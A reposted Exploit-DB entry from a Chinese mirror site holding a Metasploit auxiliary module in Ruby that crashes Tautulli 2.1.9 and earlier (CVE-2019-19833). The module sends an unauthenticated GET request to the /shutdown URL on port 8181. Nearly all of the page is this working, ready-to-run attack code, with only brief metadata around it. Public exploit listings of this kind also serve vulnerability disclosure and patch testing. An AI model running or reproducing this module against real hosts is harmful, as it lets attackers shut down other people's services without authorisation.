Tautulli 2.1.9 – Denial of Service (Metasploit) - 体验盒子

作者： Ismail Tasdelen

日期： 2020-01-16

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/47929/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize

super(

'Name'=> 'Tautulli v2.1.9 - Shutdown Denial of Service',

'Description' => 'Tautulli versions 2.1.9 and prior are vulnerable to denial of service via the /shutdown URL.',

'Author'=> 'Ismail Tasdelen',

'License' => MSF_LICENSE,

'References'=>

[

['CVE', '2019-19833'],

['EDB', '47785']

]

)

register_options([ Opt::RPORT(8181) ])

end

def run

res = send_request_raw({

'method' => 'GET',

'uri' => '/shutdown'

})

if res

print_status("Request sent to #{rhost}")

else

print_status("No reply from #{rhost}")

end

rescue Errno::ECONNRESET

print_status('Connection reset')

end